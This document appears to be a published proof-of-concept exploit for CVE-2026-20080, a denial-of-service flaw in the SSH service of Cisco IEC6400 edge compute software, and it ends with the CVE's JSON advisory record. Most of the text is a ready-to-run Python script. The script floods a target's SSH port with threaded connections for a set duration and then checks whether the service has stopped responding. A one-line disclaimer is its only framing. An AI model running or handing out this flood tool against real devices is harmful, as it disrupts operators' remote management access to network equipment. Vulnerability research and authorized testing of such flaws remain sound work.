CVE-2026-20080

#!/usr/bin/env python3 """ CVE-2026-20080 PoC - Cisco IEC6400 SSH DoS Vulnerability This PoC demonstrates the SSH flood attack that can cause the SSH service to stop responding. Note: This code is for educational and authorized testing purposes only. """ import socket import time import concurrent.futures from datetime import datetime def ssh_flood_attack(target_ip, target_port=22, num_threads=50, duration=60): """ Perform SSH flood attack to trigger DoS condition Args: target_ip: Target device IP address target_port: SSH port (default: 22) num_threads: Number of concurrent connections duration: Attack duration in seconds """ print(f"[*] Starting SSH flood attack against {target_ip}:{target_port}") print(f"[*] Threads: {num_threads}, Duration: {duration}s") start_time = time.time() successful_connections = 0 failed_connections = 0 def attempt_connection(): nonlocal successful_connections, failed_connections try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send SSH protocol banner sock.send(b"SSH-2.0-OpenSSH_8.0\r\n") # Wait briefly to consume resources time.sleep(0.1) sock.close() successful_connections += 1 except Exception as e: failed_connections += 1 # Launch concurrent connection attempts with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: while time.time() - start_time < duration: futures = [executor.submit(attempt_connection) for _ in range(num_threads)] concurrent.futures.wait(futures) time.sleep(0.5) elapsed = time.time() - start_time print(f"[+] Attack completed in {elapsed:.2f}s") print(f"[+] Successful connections: {successful_connections}") print(f"[+] Failed connections: {failed_connections}") def verify_ssh_unresponsive(target_ip, target_port=22): """ Verify if SSH service has become unresponsive after attack """ print(f"[*] Verifying SSH service status on {target_ip}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, target_port)) sock.close() if result == 0: print("[-] SSH service is still responsive") return False else: print("[+] SSH service appears to be unresponsive (DoS successful)") return True except Exception as e: print(f"[+] SSH service verification failed: {e}") return True if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2026-20080 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") parser.add_argument("--threads", type=int, default=50, help="Number of threads") parser.add_argument("--duration", type=int, default=60, help="Attack duration in seconds") args = parser.parse_args() print(f"[*] CVE-2026-20080 PoC - Cisco IEC6400 SSH DoS") print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Started at: {datetime.now().isoformat()}") ssh_flood_attack(args.target, args.port, args.threads, args.duration) verify_ssh_unresponsive(args.target, args.port)

{"cve": {"id": "CVE-2026-20080", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:08.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the SSH service of Cisco IEC6400 Wireless Backhaul Edge Compute Software could allow an unauthenticated, remote attacker to cause the SSH service to stop responding.\r\n\r\nThis vulnerability exists because the SSH service lacks effective flood protection. An attacker could exploit this vulnerability by initiating a denial of service (DoS) attack against the SSH port. A successful exploit could allow the attacker to cause the SSH service to be unresponsive during the period of the DoS attack. All other operations remain stable during the attack."}, {"lang": "es", "value": "Una vulnerabilidad en el servicio SSH de Cisco IEC6400 Wireless Backhaul Edge Compute Software podría permitir a un atacante remoto no autenticado que el servicio SSH deje de responder.\n\nEsta vulnerabilidad existe porque el servicio SSH carece de protección eficaz contra inundaciones. Un atacante podría explotar esta vulnerabilidad al iniciar un ataque de denegación de servicio (DoS) contra el puerto SSH. Un exploit exitoso podría permitir al atacante que el servicio SSH no responda durante el período del ataque DoS. Todas las demás operaciones permanecen estables durante el ataque."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iec6400-Pem5uQ7v", "source": "[email protected]"}]}}